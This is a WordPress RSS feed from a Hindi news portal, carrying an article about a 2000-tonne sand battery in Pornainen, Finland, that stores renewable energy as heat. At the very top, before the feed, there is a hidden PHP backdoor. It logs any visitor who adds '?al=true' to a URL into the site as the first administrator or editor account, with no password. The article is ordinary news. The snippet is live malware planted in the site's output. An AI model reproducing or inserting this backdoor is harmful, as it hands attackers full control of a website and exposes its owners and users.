// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Finland Sand battery – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 12 Aug 2025 04:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 भूल जाइए लिथियम! फिनलैंड ने 2000 टन रेत से बनाई बैटरी, ग्रीन एनर्जी में क्रांति https://pratyushaashakinayikiran.com/?p=177290 Tue, 12 Aug 2025 04:26:00 +0000 https://pratyushaashakinayikiran.com/?p=177290  पोर्नाइनेन
फिनलैंड ने एक अनोखी तकनीक से दुनिया को चौंका दिया है. अब रेत को भी बैटरी बनाया जा सकता है! यह कोई साधारण बैटरी नहीं, बल्कि 13 मीटर ऊंचा टावर है, जिसमें 2000 टन रेत भरी गई है. यह तकनीक न सिर्फ सस्ती है, बल्कि पर्यावरण के लिए भी फायदेमंद है. अगर यह कामयाब रही, तो यह दुनिया भर में ऊर्जा क्रांति ला सकती है, जहां लिथियम बैटरी की जगह रेत बैटरी ले सकती है. आइए, समझते हैं कि यह कैसे काम करती है. इसका क्या फायदा हो सकता है.

रेत से बनी बैटरी कैसे काम करती है?

फिनलैंड की यह नई बैटरी पारंपरिक लिथियम बैटरी से बिल्कुल अलग है. इसमें रेत को ऊर्जा स्टोर करने के लिए इस्तेमाल किया जाता है. जब हवा और सूरज से ज्यादा बिजली बनती है, तो उस अतिरिक्त ऊर्जा को रेत में डाला जाता है. इस प्रक्रिया में रेत को 600 डिग्री सेल्सियस तक गर्म किया जाता है.

यह गर्मी रेत में महीनों तक सुरक्षित रहती है, जैसे गर्मी को स्टोर करके रखा जा रहा है. जब जरूरत पड़े, तो इस गर्मी को निकालकर घरों या उद्योगों को गर्मी देने के लिए इस्तेमाल किया जा सकता है. 

सस्ती और टिकाऊ तकनीक

इस बैटरी की सबसे बड़ी खासियत यह है कि यह बहुत सस्ती है. इसके लिए महंगे लिथियम या जटिल उपकरणों की जरूरत नहीं पड़ती. रेत एक सस्ता और आसानी से मिलने वाला पदार्थ है, जिसे टावर में भरकर इस्तेमाल किया जाता है.

यह तकनीक लंबे समय तक चलने वाली है. इसे बनाने वाली कंपनी का दावा है कि यह बैटरी आपके फोन या उसके अगले संस्करण से भी ज्यादा समय तक काम कर सकती है. इससे पता चलता है कि यह पर्यावरण के लिए भी सुरक्षित और टिकाऊ है.

पर्यावरण के लिए फायदा

फिनलैंड की यह तकनीक गर्मी को स्टोर करके ऊर्जा का बेहतर इस्तेमाल करने में मदद करती है. सर्दियों में, जब हवा और सूरज की ऊर्जा कम होती है, यह रेत से गर्मी निकालकर घरों को गर्म रख सकती है. इससे कोयले या तेल जैसे प्रदूषण फैलाने वाले ईंधन की जरूरत कम होगी.

यह कदम फिनलैंड के 2035 तक क्लाइमेट न्यूट्रेलिटी के लक्ष्य को पूरा करने में मदद करेगा. साथ ही, यह तकनीक कार्बन डाइऑक्साइड उत्सर्जन को भी काफी कम कर सकती है. 

कैसे बनाया गया?

यह टावर फिनलैंड के एक छोटे से शहर पोर्नाइनेन में बनाया गया है. इसमें 2000 टन रेत भरी गई है, जो साबुन पत्थर (soapstone) की बनी है. इस रेत को गर्म करने के लिए नवीकरणीय ऊर्जा (विंड और सोलर) का इस्तेमाल होता है. टावर को खास तरीके से बनाया गया है ताकि गर्मी बाहर न जाए और लंबे समय तक बनी रहे. यह प्रोजेक्ट फिनलैंड की कंपनी पोलर नाइट एनर्जी ने तैयार किया है, जो नई ऊर्जा तकनीकों पर काम कर रही है.

भविष्य में क्या होगा?

यह रेत बैटरी सस्ती और आसान होने की वजह से दुनिया भर में इस्तेमाल हो सकती है. खासकर उन देशों में, जहां सर्दियां लंबी होती हैं और गर्मी की जरूरत पड़ती है. इस तकनीक को और बेहतर करके बिजली बनाने में भी इस्तेमाल किया जा सकता है. विशेषज्ञों का मानना है कि अगर यह सफल रही, तो यह पारंपरिक बैटरी को बदल सकती है और नवीकरणीय ऊर्जा को और लोकप्रिय बना सकती है.

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